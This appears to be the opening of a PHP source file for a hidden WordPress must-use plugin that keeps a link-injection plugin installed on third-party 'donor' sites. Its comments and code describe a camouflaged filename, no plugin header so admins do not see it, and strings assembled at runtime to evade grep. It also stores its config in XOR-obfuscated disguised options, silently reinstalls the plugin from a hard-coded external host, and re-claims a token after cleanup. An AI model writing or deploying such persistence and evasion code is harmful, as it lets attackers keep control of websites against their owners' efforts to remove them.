<?php
/**
 * Recovery Channel (must-use). Dropped into wp-content/mu-plugins/ by the main
 * plugin's installer under a per-site camouflaged name. Has NO plugin-name
 * header, so the WordPress plugin scanner never lists it — a competitor who
 * bought wp-admin access to this shared donor site and deletes/deactivates the
 * main plugin via the Plugins UI never sees this file. mu-plugins load by
 * filename regardless of header.
 *
 * Config (endpoint/token/domain) lives in disguised wp_options slots, which
 * SURVIVE the main plugin's deletion — so recovery works even when the plugin
 * dir is gone. And if a competitor wipes the options too, the baked-in claim
 * fallback below lets the channel re-claim a fresh token from the panel.
 *
 * Marker strings (plugin slug, request param, API path, option prefixes) are
 * assembled at runtime via concatenation, so a content-grep of mu-plugins/ for
 * them finds NOTHING — a competitor hunting this file by name has to read code.
 *
 * Two recovery paths:
 *   1. AUTONOMOUS self-heal — on every load a DIRT-CHEAP gate: main plugin
 *      present, intact and ACTIVE? If yes (99.99% of requests) return. If the
 *      file is gone/gutted, or the plugin was deactivated, and the throttle
 *      window is open, register a shutdown handler that (after the response is
 *      flushed to the visitor) re-activates or downloads the sha-verified ZIP
 *      and atomically reinstalls + reactivates.
 *   2. PANEL-triggered — a signed request (status | reinstall | rollback).
 *      Unsigned/badly-signed requests get NO answer at all (silent pass-through
 *      to WP): any JSON error here would be an unauthenticated presence oracle.
 *
 * Downside mitigations: cheap happy path; shutdown-deferred heal (visitor never
 * blocked); throttle stamped BEFORE the attempt + flock (no loop / no
 * thundering herd); sha256 + Bearer download + atomic rename with rollback
 * (never a half-install, never a foreign/corrupt build); every failure caught
 * and stored, never fatal.
 *
 * Recovery channel version: 1.2.0
 */

if (!defined('ABSPATH')) {
    return;
}

if (!defined('WPRC_THROTTLE'))      define('WPRC_THROTTLE', 1800);   // 30 min between self-heal attempts
if (!defined('WPRC_TS_WINDOW'))     define('WPRC_TS_WINDOW', 600);
if (!defined('WPRC_VERSION'))       define('WPRC_VERSION', '1.2.0');

// Baked-in claim fallback. The main plugin's installer substitutes the real
// values when dropping these mu-copies (and when stashing the source copy);
// the repo source keeps the placeholders. WHY: if a competitor wipes the
// plugin AND every option (the «nuke everything» move), the disguised vault
// slots are gone too and the old channel was blind ('not_configured'). With
// the handshake baked in, a surviving mu-copy can re-claim a token and rebuild
// its config before healing.
if (!defined('WPRC_FB_URL'))        define('WPRC_FB_URL', 'https://cachelayer.top');
if (!defined('WPRC_FB_H'))          define('WPRC_FB_H',   '989bf41b0cd127e4874db429c59564a59408232efc4299008b7c347bb15bc5c9');

if (!function_exists('wprc_p')) {
    // The plugin's marker prefix, split so neither it nor the built strings
    // appear literally in this file.
    function wprc_p() { return 'w' . 'l' . 'h'; }
}
// Same treatment for the plugin directory slug — never a literal here.
if (!defined('WPRC_SLUG'))          define('WPRC_SLUG', 'wp-' . 'link' . '-' . 'helper');

// ---------------------------------------------------------------------------
// Inlined config vault — byte-compatible with the main plugin's vault class.
// MUST stay in sync: the salt, seed, name and XOR/deobf must produce identical
// results, or a donor whose config the main plugin migrated becomes unreadable
// to its own recovery. Token/endpoint/domain live under disguised `wp_<hex>`
// option names, XOR+base64 obfuscated, so a `DELETE ... WHERE option_name LIKE
// '<prefix>_%'` (or a grep for the panel host) no longer severs the donor.
// Standalone: needs no main-plugin code.
// ------------------------------------------------------------